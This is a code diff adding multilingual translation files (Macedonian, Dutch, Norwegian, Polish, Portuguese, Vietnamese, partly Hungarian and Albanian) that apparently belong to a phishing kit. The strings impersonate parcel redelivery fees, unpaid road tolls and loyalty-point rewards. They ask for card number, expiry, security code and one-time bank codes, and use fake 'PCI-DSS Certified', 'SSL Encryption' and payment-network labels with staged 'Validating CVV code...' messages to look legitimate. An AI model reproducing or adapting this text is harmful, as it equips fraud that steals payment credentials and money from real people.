"your electronic toll payment was unsuccessful": "az elektronikus útdíj fizetése sikertelen volt.",
"Billing Information": "Számlázási adatok",
"Description": "Leírás",
"Dear customer": "Kedves vásárlónk:",
"Electronic Communications Charge Payment Failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
"Invoice Number": "Számlaszám",
"Amount": "Összeg",
"Pay Immediately": "Fizessen azonnal",
"Phone Number": "Telefonszám",
"Electronic communication fee payment failed": "Az elektronikus kommunikációs díj fizetése sikertelen",
"Illustrate":"Szemléltet"
};

View File

@@ -0,0 +1,109 @@
export default {
"There is an error in this field, please check":
"Има грешка во ова поле, ве молиме проверете",
"Please enter a valid email address": "Ве молиме внесете валидна е-адреса",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Почитувани корисници, ве молиме внимателно пополнете го формуларот за да се осигура успешна достава",
"Your Name": "Вашето име",
"Address": "Адреса",
"Detailed Address": "Детална адреса",
"(Optional)": "(Опционално)",
"City": "Град",
"State": "Држава/Област",
"Province": "Покраина",
"Region": "Регион",
"Zip Code": "Поштенски број",
"E-Mail": "Е-пошта",
"Next": "Понатаму",
"Telephone Number": "Телефонски број",
"Online": "Онлајн",
"Payment": "Плаќање",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"За повторна достава, потребно е да наплатиме одредени трошоци за услугата. Вашата пратка ќе биде повторно доставена по плаќањето",
"lump sum: ": "Вкупен износ: ",
"Cardholder": "Име на картичката",
"Card Number": "Број на картичка",
"Expire Date": "Датум на истекување",
"Security Code": "Сигурносен код",
"Submit": "Потврди",
"Click here to receive another code": "Кликнете овде за да добиете нов код",
"Please confirm your identity and a one-time code will be sent":
"Ве молиме потврдете го вашиот идентитет. Еднократен код ќе биде испратен на вашиот мобилен број или е-пошта. Ве молиме внесете го кодот за потврда овде",
"The verification code has been sent to":
"Кодот за потврда е испратен на",
"Please do not click the":
"Ве молиме не кликнувајте на копчињата „Освежи“ или „Назад“, бидејќи тоа може да ја прекине вашата трансакција",
"Verification code error, please try again":
"Грешка во кодот за потврда, ве молиме обидете се повторно",
"The session is about to expire, please complete the verification now":
"Сесијата наскоро ќе истече, ве молиме завршете ја потврдата сега",
"This card does not support this transaction, please try another card":
"Оваа картичка не ја поддржува оваа трансакција, ве молиме обидете се со друга картичка",
"Authorized bank": "Овластена банка",
"Please go to the bank App to confirm the authorization":
"Ве молиме отворете ја апликацијата на вашата банка за да ја потврдите авторизацијата",
"Please do not close this page": "Ве молиме не ја затворајте оваа страница",
"Payment Successful": "Плаќањето е успешно!",
"Thank you for your purchase. Your payment has been processed successfully":
"Ви благодариме за плаќањето. Вашата трансакција е успешно обработена",
"Mailing address": "Адреса за испорака",
"street address or house number": "Име на улица или куќен број",
"Apartment number": "Број на стан, соба итн.",
"Safe payment": "Безбедно плаќање",
"Verification code": "Код за потврда",
"Welcome": "Добредојдовте",
"back": "назад!",
"We reward you for using point services": "Ве наградуваме за користење на нашите услуги со поени",
"Check your points": "Проверете ги вашите поени",
"Phone number": "Телефонски број",
"Inquire": "Провери",
"Exchange": "Замени",
"Spend points": "Потроши поени",
"Points Available": "Достапни поени",
"You don't have enough points": "Немате доволно поени",
"Please redeem your favorite product": "Ве молиме заменете ги поените за вашиот омилен производ",
"Confirm your shipping address": "Потврдете ја вашата адреса за испорака",
"Order number": "Број на нарачка: ",
"Pay": "Плати",
"Pay Message": "Платете {0} за да ги замените поените за производи",
"Pay electronic tolls online": "Платете електронска патарина онлајн",
"your electronic toll payment was unsuccessful": "Вашето плаќање на електронската патарина беше неуспешно.",
"Billing Information": "Информации за наплата",
"Description": "Опис",
"Dear customer": "Почитуван кориснику:",
"Electronic Communications Charge Payment Failed": "Неуспешно плаќање на надоместокот за електронски комуникации",
"Invoice Number": "Број на фактура",
"Amount": "Износ",
"Pay Immediately": "Плати веднаш",
"Phone Number": "Телефонски број",
"Electronic communication fee payment failed": "Плаќањето на надоместокот за електронски комуникации не успеа",
"Illustrate": "Илустрација/Објаснување",
"SSL Encryption": "SSL енкрипција",
"PCI-DSS Certified": "PCI-DSS сертифицирано",
"Transaction Details": "Детали за трансакцијата",
"Transaction ID:": "ID на трансакција:",
"Processing Network:": "Мрежа за обработка:",
"Processing Time:": "Време на обработка:",
"Security Level:": "Ниво на безбедност:",
"Preparing...": "Се подготвува...",
"High": "Високо",
"Initializing payment environment...": "Иницијализирање на околината за плаќање...",
"Encrypting card information...": "Енкриптирање на податоците од картичката...",
"Establishing secure connection...": "Воспоставување безбедна врска...",
"Verifying card number and issuer...": "Проверка на бројот на картичката и издавачот...",
"Validating CVV code...": "Проверка на CVV кодот...",
"Checking fraud risk...": "Проверка на ризик од измама...",
"Sending transaction request...": "Испраќање барање за трансакција...",
"Waiting for bank authorization...": "Се чека авторизација од банката...",
"Processing bank response...": "Се обработува одговорот од банката...",
"Confirming transaction status...": "Се потврдува статусот на трансакцијата...",
"Finalizing transaction...": "Финализирање на трансакцијата...",
"Visa Secure Network": "Visa Secure Network",
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
"American Express Dedicated Channel": "American Express Dedicated Channel",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} секунди",
"International Payment Network": "Меѓународна мрежа за плаќање",
"redelivery_fee_message": "За повторна достава потребно е да платите {amount} за трошоци за услугата. Вашата пратка ќе биде повторно доставена по плаќањето",
"Verifying...": "Се врши проверка...",
};

View File

@@ -0,0 +1,97 @@
export default {
"There is an error in this field, please check": "Er is een fout in dit veld, controleer het alstublieft",
"Please enter a valid email address": "Voer een geldig e-mailadres in",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Beste gebruikers, vul het formulier zorgvuldig in om een succesvolle levering te garanderen",
"Your Name": "Uw naam",
"Address": "Adres",
"Detailed Address": "Gedetailleerd adres",
"(Optional)": "(Optioneel)",
"City": "Stad",
"State": "Staat",
"Province": "Provincie",
"Region": "Regio",
"Zip Code": "Postcode",
"E-Mail": "E-mail",
"Next": "Volgende",
"Telephone Number": "Telefoonnummer",
"Online": "Online",
"Payment": "Betaling",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "Voor herlevering moeten we servicekosten in rekening brengen. Uw pakket wordt opnieuw verzonden na betaling",
"lump sum: ": "totaalbedrag: ",
"Cardholder": "Kaarthouder",
"Card Number": "Kaartnummer",
"Expire Date": "Vervaldatum",
"Security Code": "Beveiligingscode",
"Submit": "Verzenden",
"Click here to receive another code": "Klik hier om een andere code te ontvangen",
"Please confirm your identity and a one-time code will be sent": "Bevestig uw identiteit en een eenmalige code wordt verzonden naar uw telefoonnummer of e-mailadres. Voer hier de verificatiecode in",
"The verification code has been sent to": "De verificatiecode is verzonden naar",
"Please do not click the": "Klik niet op de knoppen 'Vernieuwen' of 'Terug', dit kan uw transactie beëindigen",
"Verification code error, please try again": "Verificatiecode onjuist, probeer het opnieuw",
"The session is about to expire, please complete the verification now": "De sessie verloopt bijna, voltooi nu de verificatie",
"This card does not support this transaction, please try another card": "Deze kaart ondersteunt deze transactie niet, probeer een andere kaart",
"Authorized bank": "Geautoriseerde bank",
"Please go to the bank App to confirm the authorization": "Ga naar de bank-app om de autorisatie te bevestigen",
"Please do not close this page": "Sluit deze pagina niet",
"Payment Successful": "Betaling geslaagd!",
"Thank you for your purchase. Your payment has been processed successfully": "Bedankt voor uw aankoop. Uw betaling is succesvol verwerkt",
"Mailing address": "Postadres",
"street address or house number": "Straatnaam of huisnummer",
"Apartment number": "Appartementnummer, kamernummer, enz.",
"Safe payment": "Veilige betaling",
"Verification code": "Verificatiecode",
"Welcome": "Welkom",
"back": "Terug!",
"We reward you for using point services": "Wij belonen u voor het gebruik van puntendiensten",
"Check your points": "Controleer uw punten",
"Phone number": "Telefoonnummer",
"Inquire": "Opvragen",
"Exchange": "Inwisselen",
"Spend points": "Besteed punten",
"Points Available": "Beschikbare punten",
"You don't have enough points": "U heeft niet genoeg punten",
"Please redeem your favorite product": "Wissel uw favoriete product in",
"Confirm your shipping address": "Bevestig uw verzendadres",
"Order number": "Bestelnummer: ",
"Pay": "Betalen",
"Pay Message": "Betaal {0} om punten in te wisselen voor producten",
"Pay electronic tolls online": "Betaal elektronische tol online",
"your electronic toll payment was unsuccessful": "Uw elektronische tolbetaling is mislukt.",
"Billing Information": "Factuurinformatie",
"Description": "Beschrijving",
"Dear customer": "Geachte klant:",
"Electronic Communications Charge Payment Failed": "Betaling van elektronische communicatiekosten mislukt",
"Invoice Number": "Factuurnummer",
"Amount": "Bedrag",
"Pay Immediately": "Betaal onmiddellijk",
"Phone Number": "Telefoonnummer",
"Electronic communication fee payment failed": "Betaling van elektronische communicatiekosten mislukt",
"Illustrate": "Illustreren",
"SSL Encryption": "SSL-versleuteling",
"PCI-DSS Certified": "PCI-DSS-gecertificeerd",
"Transaction Details": "Transactiedetails",
"Transaction ID:": "Transactie-ID:",
"Processing Network:": "Verwerkingsnetwerk:",
"Processing Time:": "Verwerkingstijd:",
"Security Level:": "Beveiligingsniveau:",
"Preparing...": "Voorbereiden...",
"High": "Hoog",
"Initializing payment environment...": "Betaalomgeving initialiseren...",
"Encrypting card information...": "Kaartgegevens versleutelen...",
"Establishing secure connection...": "Veilige verbinding tot stand brengen...",
"Verifying card number and issuer...": "Kaartnummer en uitgever verifiëren...",
"Validating CVV code...": "CVV-code valideren...",
"Checking fraud risk...": "Frauderisico controleren...",
"Sending transaction request...": "Transactieverzoek verzenden...",
"Waiting for bank authorization...": "Wachten op bankautorisatie...",
"Processing bank response...": "Reactie van bank verwerken...",
"Confirming transaction status...": "Transactiestatus bevestigen...",
"Finalizing transaction...": "Transactie afronden...",
"Visa Secure Network": "Visa Secure Netwerk",
"Mastercard Global Payment Network": "Mastercard Wereldwijd Betalingsnetwerk",
"American Express Dedicated Channel": "American Express Toegewijd Kanaal",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} seconden",
"International Payment Network": "Internationaal Betalingsnetwerk",
"redelivery_fee_message": "Voor herlevering brengen we {amount} servicekosten in rekening. Uw pakket wordt opnieuw verzonden na betaling",
};

View File

@@ -0,0 +1,109 @@
export default {
"There is an error in this field, please check":
"Det er en feil i dette feltet, vennligst sjekk det",
"Please enter a valid email address": "Vennligst oppgi en gyldig e-postadresse",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Kjære brukere, vennligst fyll ut skjemaet nøye for å sikre vellykket levering",
"Your Name": "Ditt navn",
"Address": "Adresse",
"Detailed Address": "Detaljert adresse",
"(Optional)": "(Valgfritt)",
"City": "By",
"State": "Delstat",
"Province": "Provins",
"Region": "Region",
"Zip Code": "Postnummer",
"E-Mail": "E-post",
"Next": "Neste",
"Telephone Number": "Telefonnummer",
"Online": "Online",
"Payment": "Betaling",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"For ny levering må vi ta et servicegebyr. Din pakke vil bli levert på nytt etter betaling",
"lump sum: ": "Totalbeløp: ",
"Cardholder": "Kortinnehaver",
"Card Number": "Kortnummer",
"Expire Date": "Utløpsdato",
"Security Code": "Sikkerhetskode",
"Submit": "Send inn",
"Click here to receive another code": "Klikk her for å motta en ny kode",
"Please confirm your identity and a one-time code will be sent":
"Vennligst bekreft identiteten din, en engangskode vil bli sendt til ditt mobilnummer eller e-post. Skriv inn verifiseringskoden her",
"The verification code has been sent to":
"Verifiseringskoden er sendt til",
"Please do not click the":
"Vennligst ikke klikk på knappene «Oppdater» eller «Tilbake», da dette kan avslutte eller avbryte transaksjonen",
"Verification code error, please try again":
"Feil i verifiseringskode, vennligst prøv igjen",
"The session is about to expire, please complete the verification now":
"Økten er i ferd med å utløpe, vennligst fullfør verifiseringen nå",
"This card does not support this transaction, please try another card":
"Dette kortet støtter ikke denne transaksjonen, vennligst prøv et annet kort",
"Authorized bank": "Autorisert bank",
"Please go to the bank App to confirm the authorization":
"Vennligst åpne bank-appen for å bekrefte autorisasjonen",
"Please do not close this page": "Vennligst ikke lukk denne siden",
"Payment Successful": "Betaling vellykket!",
"Thank you for your purchase. Your payment has been processed successfully":
"Takk for ditt kjøp. Betalingen er behandlet vellykket",
"Mailing address": "Postadresse",
"street address or house number": "Gateadresse eller husnummer",
"Apartment number": "Leilighetsnummer, romnummer osv.",
"Safe payment": "Sikker betaling",
"Verification code": "Verifiseringskode",
"Welcome": "Velkommen",
"back":"tilbake!",
"We reward you for using point services": "Vi belønner deg for å bruke vårt poengsystem",
"Check your points": "Sjekk poengene dine",
"Phone number": "Telefonnummer",
"Inquire": "Forespør",
"Exchange": "Bytt",
"Spend points": "Bruk poeng",
"Points Available": "Tilgjengelige poeng",
"You don't have enough points": "Du har ikke nok poeng",
"Please redeem your favorite product": "Vennligst løs inn ditt favorittprodukt",
"Confirm your shipping address": "Bekreft leveringsadressen din",
"Order number": "Ordrenummer: ",
"Pay": "Betal",
"Pay Message": "Betal {0} for å løse inn poeng mot varer",
"Pay electronic tolls online": "Betal elektronisk bompenger online",
"your electronic toll payment was unsuccessful": "Din elektroniske bompengebetaling mislyktes.",
"Billing Information": "Faktureringsinformasjon",
"Description": "Beskrivelse",
"Dear customer": "Kjære kunde:",
"Electronic Communications Charge Payment Failed": "Betaling av elektronisk kommunikasjonsavgift mislyktes",
"Invoice Number": "Fakturanummer",
"Amount": "Beløp",
"Pay Immediately": "Betal umiddelbart",
"Phone Number": "Telefonnummer",
"Electronic communication fee payment failed": "Betaling av elektronisk kommunikasjonsavgift mislyktes",
"Illustrate":"Illustrere",
"SSL Encryption": "SSL-kryptering",
"PCI-DSS Certified": "PCI-DSS-sertifisert",
"Transaction Details": "Transaksjonsdetaljer",
"Transaction ID:": "Transaksjons-ID:",
"Processing Network:": "Behandlingsnettverk:",
"Processing Time:": "Behandlingstid:",
"Security Level:": "Sikkerhetsnivå:",
"Preparing...": "Forbereder...",
"High": "Høy",
"Initializing payment environment...": "Initialiserer betalingsmiljø...",
"Encrypting card information...": "Krypterer kortinformasjon...",
"Establishing secure connection...": "Etablerer sikker tilkobling...",
"Verifying card number and issuer...": "Verifiserer kortnummer og utsteder...",
"Validating CVV code...": "Validerer CVV-kode...",
"Checking fraud risk...": "Sjekker svindelrisiko...",
"Sending transaction request...": "Sender transaksjonsforespørsel...",
"Waiting for bank authorization...": "Venter på bankautorisering...",
"Processing bank response...": "Behandler banksvar...",
"Confirming transaction status...": "Bekrefter transaksjonsstatus...",
"Finalizing transaction...": "Fullfører transaksjon...",
"Visa Secure Network": "Visa Secure Network",
"Mastercard Global Payment Network": "Mastercard Global Payment Network",
"American Express Dedicated Channel": "American Express Dedikert Kanal",
"UnionPay Gateway": "UnionPay Gateway",
"{time} seconds": "{time} sekunder",
"International Payment Network": "Internasjonalt betalingsnettverk",
"redelivery_fee_message": "For ny levering må vi kreve {amount} i servicegebyr, pakken din vil bli levert på nytt etter betaling",
"Verifying...": "Verifiserer...",
};

View File

@@ -0,0 +1,98 @@
export default {
"There is an error in this field, please check": "Wystąpił błąd w tym polu, proszę sprawdzić",
"Please enter a valid email address": "Proszę wprowadzić prawidłowy adres e-mail",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Szanowni użytkownicy, prosimy o dokładne wypełnienie formularza, aby zapewnić pomyślną dostawę",
"Your Name": "Imię i nazwisko",
"Address": "Adres",
"Detailed Address": "Szczegółowy adres",
"(Optional)": "(Opcjonalnie)",
"City": "Miasto",
"State": "Stan / Region",
"Province": "Prowincja",
"Region": "Region",
"Zip Code": "Kod pocztowy",
"E-Mail": "Adres e-mail",
"Next": "Dalej",
"Telephone Number": "Numer telefonu",
"Online": "Online",
"Payment": "Płatność",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "W celu ponownej dostawy wymagane jest pobranie opłaty serwisowej. Twoja paczka zostanie ponownie dostarczona po dokonaniu płatności",
"lump sum: ": "Kwota całkowita: ",
"Cardholder": "Posiadacz karty",
"Card Number": "Numer karty",
"Expire Date": "Data ważności",
"Security Code": "Kod bezpieczeństwa",
"Submit": "Wyślij",
"Click here to receive another code": "Kliknij tutaj, aby otrzymać kolejny kod",
"Please confirm your identity and a one-time code will be sent": "Proszę potwierdzić swoją tożsamość. Jednorazowy kod zostanie wysłany na Twój telefon lub e-mail. Wprowadź go tutaj",
"The verification code has been sent to": "Kod weryfikacyjny został wysłany na",
"Please do not click the": "Proszę nie klikać „Odśwież” ani „Wstecz”, ponieważ może to przerwać transakcję",
"Verification code error, please try again": "Błąd kodu weryfikacyjnego, spróbuj ponownie",
"The session is about to expire, please complete the verification now": "Sesja wkrótce wygaśnie, proszę dokończyć weryfikację teraz",
"This card does not support this transaction, please try another card": "Ta karta nie obsługuje tej transakcji, proszę spróbować innej karty",
"Authorized bank": "Bank autoryzujący",
"Please go to the bank App to confirm the authorization": "Proszę przejść do aplikacji bankowej, aby potwierdzić autoryzację",
"Please do not close this page": "Proszę nie zamykać tej strony",
"Payment Successful": "Płatność zakończona sukcesem",
"Thank you for your purchase. Your payment has been processed successfully": "Dziękujemy za zakup. Twoja płatność została pomyślnie przetworzona",
"Mailing address": "Adres pocztowy",
"street address or house number": "Ulica i numer domu",
"Apartment number": "Numer mieszkania",
"Safe payment": "Bezpieczna płatność",
"Verification code": "Kod weryfikacyjny",
"Welcome": "Witamy",
"back": "z powrotem!",
"We reward you for using point services": "Nagradzamy Cię za korzystanie z usług punktowych",
"Check your points": "Sprawdź swoje punkty",
"Phone number": "Numer telefonu",
"Inquire": "Sprawdź",
"Exchange": "Wymień",
"Spend points": "Wykorzystaj punkty",
"Points Available": "Dostępne punkty",
"You don't have enough points": "Nie masz wystarczającej liczby punktów",
"Please redeem your favorite product": "Proszę wymienić punkty na wybrany produkt",
"Confirm your shipping address": "Potwierdź adres dostawy",
"Order number": "Numer zamówienia: ",
"Pay": "Zapłać",
"Pay Message": "Zapłać {0}, aby wymienić punkty na produkty",
"Pay electronic tolls online": "Zapłać opłaty drogowe online",
"your electronic toll payment was unsuccessful": "Twoja płatność za opłaty drogowe nie powiodła się",
"Billing Information": "Informacje rozliczeniowe",
"Description": "Opis",
"Dear customer": "Szanowny kliencie:",
"Electronic Communications Charge Payment Failed": "Płatność za opłaty komunikacji elektronicznej nie powiodła się",
"Invoice Number": "Numer faktury",
"Amount": "Kwota",
"Pay Immediately": "Zapłać natychmiast",
"Phone Number": "Numer telefonu",
"Electronic communication fee payment failed": "Płatność za opłatę komunikacji elektronicznej nie powiodła się",
"Illustrate": "Wyjaśnienie",
"SSL Encryption": "Szyfrowanie SSL",
"PCI-DSS Certified": "Certyfikat PCI-DSS",
"Transaction Details": "Szczegóły transakcji",
"Transaction ID:": "ID transakcji:",
"Processing Network:": "Sieć przetwarzania:",
"Processing Time:": "Czas przetwarzania:",
"Security Level:": "Poziom bezpieczeństwa:",
"Preparing...": "Przygotowywanie...",
"High": "Wysoki",
"Initializing payment environment...": "Inicjalizacja środowiska płatności...",
"Encrypting card information...": "Szyfrowanie danych karty...",
"Establishing secure connection...": "Nawiązywanie bezpiecznego połączenia...",
"Verifying card number and issuer...": "Weryfikacja numeru karty i wydawcy...",
"Validating CVV code...": "Weryfikacja kodu CVV...",
"Checking fraud risk...": "Sprawdzanie ryzyka oszustwa...",
"Sending transaction request...": "Wysyłanie żądania transakcji...",
"Waiting for bank authorization...": "Oczekiwanie na autoryzację banku...",
"Processing bank response...": "Przetwarzanie odpowiedzi banku...",
"Confirming transaction status...": "Potwierdzanie statusu transakcji...",
"Finalizing transaction...": "Finalizowanie transakcji...",
"Visa Secure Network": "Bezpieczna sieć Visa",
"Mastercard Global Payment Network": "Globalna sieć płatności Mastercard",
"American Express Dedicated Channel": "Dedykowany kanał American Express",
"UnionPay Gateway": "Brama UnionPay",
"{time} seconds": "{time} sekund",
"International Payment Network": "Międzynarodowa sieć płatności",
"redelivery_fee_message": "W celu ponownej dostawy wymagana jest opłata serwisowa w wysokości {amount}. Twoja paczka zostanie ponownie dostarczona po dokonaniu płatności",
"Verifying...": "Weryfikacja..."
};

View File

@@ -0,0 +1,84 @@
export default {
"There is an error in this field, please check":
"Há um erro neste campo, por favor verifique",
"Please enter a valid email address": "Por favor insira um endereço de e-mail válido",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Prezados usuários, por favor preencham o formulário com atenção para garantir a entrega bem-sucedida",
"Your Name": "Seu Nome",
"Address": "Endereço",
"Detailed Address": "Endereço Detalhado",
"(Optional)": "(Opcional)",
"City": "Cidade",
"State": "Estado",
"Province": "Província",
"Region": "Região",
"Zip Code": "Código Postal",
"E-Mail": "E-mail",
"Next": "Próximo",
"Telephone Number": "Número de Telefone",
"Online": "Online",
"Payment": "Pagamento",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"Para reentrega, será cobrada uma taxa de serviço. Seu pacote será reenviado após o pagamento",
"lump sum: ": "valor total: ",
"Cardholder": "Titular do Cartão",
"Card Number": "Número do Cartão",
"Expire Date": "Data de Validade",
"Security Code": "Código de Segurança",
"Submit": "Enviar",
"Click here to receive another code": "Clique aqui para receber outro código",
"Please confirm your identity and a one-time code will be sent":
"Por favor confirme sua identidade e um código único será enviado para seu número de celular ou e-mail. Insira o código de verificação aqui",
"The verification code has been sent to":
"O código de verificação foi enviado para",
"Please do not click the":
"Por favor, não clique nos botões 'Atualizar' ou 'Voltar', pois isso pode interromper sua transação",
"Verification code error, please try again":
"Erro no código de verificação, por favor tente novamente",
"The session is about to expire, please complete the verification now":
"A sessão está prestes a expirar, por favor conclua a verificação agora",
"This card does not support this transaction, please try another card":
"Este cartão não suporta esta transação, por favor tente outro cartão",
"Authorized bank": "Banco autorizado",
"Please go to the bank App to confirm the authorization":
"Por favor acesse o aplicativo do banco para confirmar a autorização",
"Please do not close this page": "Por favor, não feche esta página",
"Payment Successful": "Pagamento realizado com sucesso!",
"Thank you for your purchase. Your payment has been processed successfully":
"Obrigado pela sua compra. Seu pagamento foi processado com sucesso",
"Mailing address": "Endereço para entrega",
"street address or house number": "endereço da rua ou número da casa",
"Apartment number": "Número do apartamento, sala, etc.",
"Safe payment": "Pagamento seguro",
"Verification code": "Código de verificação",
"Welcome": "Bem-vindo",
"back": "voltar",
"We reward you for using point services": "Recompensamos você por usar os serviços com pontos",
"Check your points": "Verifique seus pontos",
"Phone number": "Número de telefone",
"Inquire": "Consultar",
"Exchange": "Trocar",
"Spend points": "Gastar pontos",
"Points Available": "Pontos disponíveis",
"You don't have enough points": "Você não tem pontos suficientes",
"Please redeem your favorite product": "Por favor, resgate seu produto favorito",
"Confirm your shipping address": "Confirme seu endereço de envio",
"Order number": "Número do pedido: ",
"Pay": "Pagar",
"Pay Message": "Pague {0} para trocar pontos por mercadoria",
"Pay electronic tolls online": "Pague pedágios eletrônicos online",
"your electronic toll payment was unsuccessful":
"seu pagamento de pedágio eletrônico não foi bem-sucedido.",
"Billing Information": "Informações de cobrança",
"Description": "Descrição",
"Dear customer": "Prezado cliente:",
"Electronic Communications Charge Payment Failed":
"Falha no pagamento da taxa de comunicações eletrônicas",
"Invoice Number": "Número da fatura",
"Amount": "Valor",
"Pay Immediately": "Pagar agora",
"Phone Number": "Número de telefone",
"Electronic communication fee payment failed":
"Falha no pagamento da taxa de comunicação eletrônica",
"Illustrate": "Ilustrar"
};

View File

@@ -0,0 +1,98 @@
export default {
"There is an error in this field, please check": "Có lỗi trong trường này, vui lòng kiểm tra",
"Please enter a valid email address": "Vui lòng nhập địa chỉ email hợp lệ",
"Dear users, please fill in the form carefully to ensure the successful delivery": "Kính gửi người dùng, vui lòng điền biểu mẫu cẩn thận để đảm bảo giao hàng thành công",
"Your Name": "Tên của bạn",
"Address": "Địa chỉ",
"Detailed Address": "Địa chỉ chi tiết",
"(Optional)": "(Tùy chọn)",
"City": "Thành phố",
"State": "Bang",
"Province": "Tỉnh",
"Region": "Khu vực",
"Zip Code": "Mã bưu chính",
"E-Mail": "Email",
"Next": "Tiếp theo",
"Telephone Number": "Số điện thoại",
"Online": "Trực tuyến",
"Payment": "Thanh toán",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment": "Để giao lại, chúng tôi cần tính một số phí dịch vụ. Gói hàng của bạn sẽ được giao lại sau khi thanh toán",
"lump sum: ": "Tổng số tiền: ",
"Cardholder": "Chủ thẻ",
"Card Number": "Số thẻ",
"Expire Date": "Ngày hết hạn",
"Security Code": "Mã bảo mật",
"Submit": "Gửi",
"Click here to receive another code": "Nhấp vào đây để nhận mã khác",
"Please confirm your identity and a one-time code will be sent": "Vui lòng xác nhận danh tính của bạn, mã xác minh sẽ được gửi đến số điện thoại hoặc email của bạn. Vui lòng nhập mã xác minh tại đây",
"The verification code has been sent to": "Mã xác minh đã được gửi đến",
"Please do not click the": "Vui lòng không nhấp vào nút 'Làm mới' hoặc 'Quay lại' vì điều này có thể chấm dứt giao dịch của bạn",
"Verification code error, please try again": "Mã xác minh không đúng, vui lòng thử lại",
"The session is about to expire, please complete the verification now": "Phiên làm việc sắp hết hạn, vui lòng hoàn tất xác minh ngay",
"This card does not support this transaction, please try another card": "Thẻ này không hỗ trợ giao dịch này, vui lòng thử thẻ khác",
"Authorized bank": "Ngân hàng được ủy quyền",
"Please go to the bank App to confirm the authorization": "Vui lòng mở ứng dụng ngân hàng để xác nhận ủy quyền",
"Please do not close this page": "Vui lòng không đóng trang này",
"Payment Successful": "Thanh toán thành công!",
"Thank you for your purchase. Your payment has been processed successfully": "Cảm ơn bạn đã mua hàng. Thanh toán của bạn đã được xử lý thành công",
"Mailing address": "Địa chỉ gửi thư",
"street address or house number": "Địa chỉ đường hoặc số nhà",
"Apartment number": "Số căn hộ, số phòng, v.v.",
"Safe payment": "Thanh toán an toàn",
"Verification code": "Mã xác minh",
"Welcome": "Chào mừng",
"back": "Quay lại!",
"We reward you for using point services": "Chúng tôi tặng thưởng khi bạn sử dụng dịch vụ tích điểm",
"Check your points": "Kiểm tra điểm của bạn",
"Phone number": "Số điện thoại",
"Inquire": "Tra cứu",
"Exchange": "Đổi",
"Spend points": "Tiêu điểm",
"Points Available": "Số điểm hiện có",
"You don't have enough points": "Bạn không đủ điểm",
"Please redeem your favorite product": "Vui lòng đổi sản phẩm yêu thích của bạn",
"Confirm your shipping address": "Xác nhận địa chỉ giao hàng của bạn",
"Order number": "Mã đơn hàng: ",
"Pay": "Thanh toán",
"Pay Message": "Thanh toán {0} để đổi điểm lấy hàng hóa",
"Pay electronic tolls online": "Thanh toán phí đường bộ trực tuyến",
"your electronic toll payment was unsuccessful": "Thanh toán phí đường bộ của bạn không thành công.",
"Billing Information": "Thông tin thanh toán",
"Description": "Mô tả",
"Dear customer": "Kính gửi khách hàng:",
"Electronic Communications Charge Payment Failed": "Thanh toán phí liên lạc điện tử không thành công",
"Invoice Number": "Số hóa đơn",
"Amount": "Số tiền",
"Pay Immediately": "Thanh toán ngay",
"Phone Number": "Số điện thoại",
"Electronic communication fee payment failed": "Thanh toán phí liên lạc điện tử không thành công",
"Illustrate": "Minh họa",
"SSL Encryption": "Mã hóa SSL",
"PCI-DSS Certified": "Được chứng nhận PCI-DSS",
"Transaction Details": "Chi tiết giao dịch",
"Transaction ID:": "Mã giao dịch:",
"Processing Network:": "Mạng xử lý:",
"Processing Time:": "Thời gian xử lý:",
"Security Level:": "Mức độ bảo mật:",
"Preparing...": "Đang chuẩn bị...",
"High": "Cao",
"Initializing payment environment...": "Đang khởi tạo môi trường thanh toán...",
"Encrypting card information...": "Đang mã hóa thông tin thẻ...",
"Establishing secure connection...": "Đang thiết lập kết nối an toàn...",
"Verifying card number and issuer...": "Đang xác minh số thẻ và nhà phát hành...",
"Validating CVV code...": "Đang xác thực mã CVV...",
"Checking fraud risk...": "Đang kiểm tra rủi ro gian lận...",
"Sending transaction request...": "Đang gửi yêu cầu giao dịch...",
"Waiting for bank authorization...": "Đang chờ ngân hàng ủy quyền...",
"Processing bank response...": "Đang xử lý phản hồi từ ngân hàng...",
"Confirming transaction status...": "Đang xác nhận trạng thái giao dịch...",
"Finalizing transaction...": "Đang hoàn tất giao dịch...",
"Visa Secure Network": "Mạng bảo mật Visa",
"Mastercard Global Payment Network": "Mạng thanh toán toàn cầu Mastercard",
"American Express Dedicated Channel": "Kênh chuyên dụng American Express",
"UnionPay Gateway": "Cổng thanh toán UnionPay",
"{time} seconds": "{time} giây",
"International Payment Network": "Mạng thanh toán quốc tế",
"redelivery_fee_message": "Để giao lại, chúng tôi cần thu phí dịch vụ {amount}, gói hàng của bạn sẽ được giao lại sau khi thanh toán",
"Verifying...": "Đang xác minh...",
};

View File

@@ -0,0 +1,109 @@
export default {
"There is an error in this field, please check":
"Ka një gabim në këtë fushë, ju lutemi kontrolloni",
"Please enter a valid email address": "Ju lutemi vendosni një adresë emaili të vlefshme",
"Dear users, please fill in the form carefully to ensure the successful delivery":
"Të nderuar përdorues, ju lutemi plotësoni formularin me kujdes për të siguruar dorëzim të suksesshëm",
"Your Name": "Emri juaj",
"Address": "Adresa",
"Detailed Address": "Adresa e detajuar",
"(Optional)": "(Opsionale)",
"City": "Qyteti",
"State": "Shteti / Zona",
"Province": "Provinca",
"Region": "Rajoni",
"Zip Code": "Kodi postar",
"E-Mail": "Email",
"Next": "Tjetër",
"Telephone Number": "Numri i telefonit",
"Online": "Online",
"Payment": "Pagesa",
"For redelivery, we need to charge some service fees.Your package will be re-delivered after payment":
"Për ridërgesë, duhet të tarifojmë disa tarifa shërbimi. Paketa juaj do të ridërgohet pas pagesës",
"lump sum: ": "Shuma totale: ",
"Cardholder": "Mbajtësi i kartës",
"Card Number": "Numri i kartës",
"Expire Date": "Data e skadencës",
"Security Code": "Kodi i sigurisë",
"Submit": "Dërgo",
"Click here to receive another code": "Klikoni këtu për të marrë një kod tjetër",
"Please confirm your identity and a one-time code will be sent":
